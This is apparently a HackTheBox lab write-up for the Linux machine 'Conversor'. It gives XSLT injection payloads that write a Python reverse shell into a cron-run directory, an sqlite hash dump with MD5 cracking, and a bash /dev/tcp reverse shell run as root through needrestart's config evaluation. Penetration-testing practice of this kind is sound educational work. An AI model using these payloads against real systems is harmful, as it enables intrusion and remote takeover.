< BACK TO HUB
EASY DIFFICULTY

CONVERSOR

TARGET OS: LINUX | AUTHOR: LEANDROS

Conversor is an Easy-rated Linux machine on HackTheBox that provides a fantastic masterclass in web application logic abuse and system administration flaws. My intrusion started by identifying a Server-Side XSLT Processing vulnerability. By chaining this with a source code leak, I abused a scheduled cron job to achieve Remote Code Execution. Lateral movement required dumping an SQLite database to crack a user's MD5 password hash. Finally, I escalated to root by exploiting the needrestart utility, which insecurely evaluates custom configuration files as raw Perl code. Here is my complete mission log.

PHASE 1: RECONNAISSANCE

I initiated the engagement with an Nmap TCP port scan to map out the target's external attack surface.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
OUTPUT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

The scan revealed SSH on port 22 and an Apache web server on port 80 that redirects to conversor.htb. I added this domain to my /etc/hosts file and navigated to the site.

The landing page presented a login form with a "Register" button. I registered a dummy account and logged into the application to explore its authenticated features.

PHASE 2: XSLT INJECTION & SOURCE CODE LEAK

Inside the portal, I found a file upload feature. The application explicitly required users to upload both an XML and an XSLT file simultaneously. This immediately signaled that the backend was parsing XML documents and applying XSL Transformations.

[!] VULNERABILITY DETECTED: XSLT INJECTION

When a web application insecurely processes user-supplied XSLT stylesheets, an attacker can use malicious XSLT elements to read local files, interact with internal networks (SSRF), or write files to the filesystem using extensions like exsl:document.

To test the parser, I uploaded a standard XML file alongside an XSLT payload designed to leak the underlying XSLT engine vendor.

PAYLOAD - TEST.XSL (VENDOR LEAK)
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text>&#10;</xsl:text>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>

The application generated an HTML file. When I viewed it, it printed: libxslt http://xmlsoft.org/XSLT/. This confirmed the server was using libxslt, a popular C library that supports the EXSLT extension for writing files!

While I knew I could write files to disk, I needed to know *where* to write them to gain execution. I ran Gobuster to find hidden endpoints.

TERMINAL - GOBUSTER
gobuster dir -u http://conversor.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt

Gobuster discovered an /about page. Viewing this page revealed a "Download Source Code" button at the bottom. I downloaded source_code.tar.gz and extracted it on my attacking machine.

PHASE 3: RCE VIA CRONJOB ABUSE

Extracting the archive revealed the entire Flask application structure. Crucially, I found an install.md file containing administrative setup notes.

SOURCE CODE - INSTALL.MD
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

This was the missing link! The system runs a cron job every minute that executes *any* .py file located in /var/www/conversor.htb/scripts/.

I crafted a new malicious XSLT payload using the exsl:document function. This payload instructs the server to write a Python reverse shell script directly into that highly privileged scripts directory.

PAYLOAD - RCE.XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:ptswarm="http://exslt.org/common"
    extension-element-prefixes="ptswarm"
    version="1.0">

<xsl:template match="/">
  <ptswarm:document href="/var/www/conversor.htb/scripts/rev.py" method="text">
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<IP_ATTACKER>", <PORT>))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
  </ptswarm:document>
</xsl:template>
</xsl:stylesheet>

I set up a Netcat listener, uploaded the XML and my malicious XSLT file, and waited. Within a minute, the cron job triggered my Python script, and I caught a shell as www-data.

PHASE 4: LATERAL MOVEMENT & PRIVILEGE ESCALATION

To escalate to a standard user, I recalled seeing a database referenced in the Flask source code. I navigated to /var/www/conversor.htb/instance/ and used the sqlite3 utility to dump the users.db file.

TERMINAL - SQLITE ENUMERATION
sqlite3 users.db
sqlite> SELECT * FROM users;
OUTPUT
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|job|42f749ade7f9e195bf475f37a44cafcb
6|admin|21232f297a57a5a743894a0e4a801fc3
...

The database contained an MD5 hash for the user fismathack. I passed the hash (5b5c3ac3a1c897c94caad48e6c71fdec) to John the Ripper using the rockyou wordlist.

TERMINAL - JOHN THE RIPPER
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

John cracked the hash, revealing the password: Keepmesafeandwarm. I used the su fismathack command, entered the password, and successfully secured a shell as the user, claiming the user.txt flag.

Now operating as fismathack, I checked my sudo privileges.

TERMINAL - PRIVILEGE CHECK
User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

[!] EXPLOIT STRATEGY: NEEDRESTART CONFIG EVALUATION

The needrestart utility accepts a -c flag to load a custom configuration file. Because needrestart is written in Perl, it parses these configuration files using Perl's eval() function. This means that any valid Perl code placed inside a configuration file will be executed by the binary. Since we run the binary as root via Sudo, the Perl code executes as root!

I created a fake configuration file in /tmp containing a Perl payload to spawn a reverse shell.

PAYLOAD - PERL REVERSE SHELL
cd /tmp
echo 'system("bash -c \'bash -i >& /dev/tcp/<IP_ATTACKER>/<PORT> 0>&1\'");' > root_exploit.conf
chmod +x root_exploit.conf

I started a final Netcat listener on my attacker machine. Then, I executed needrestart with Sudo, pointing the config flag to my malicious Perl script.

TERMINAL - EXECUTING ROOT EXPLOIT
sudo /usr/sbin/needrestart -c /tmp/root_exploit.conf
OUTPUT
listening on [any] 7755 ...
connect to [10.10.14.220] from (UNKNOWN) [10.10.11.92] 51280
root@conversor:/tmp# whoami
root

The Perl eval() function immediately executed my system command, granting me a root shell. I claimed the root.txt flag. System Compromised.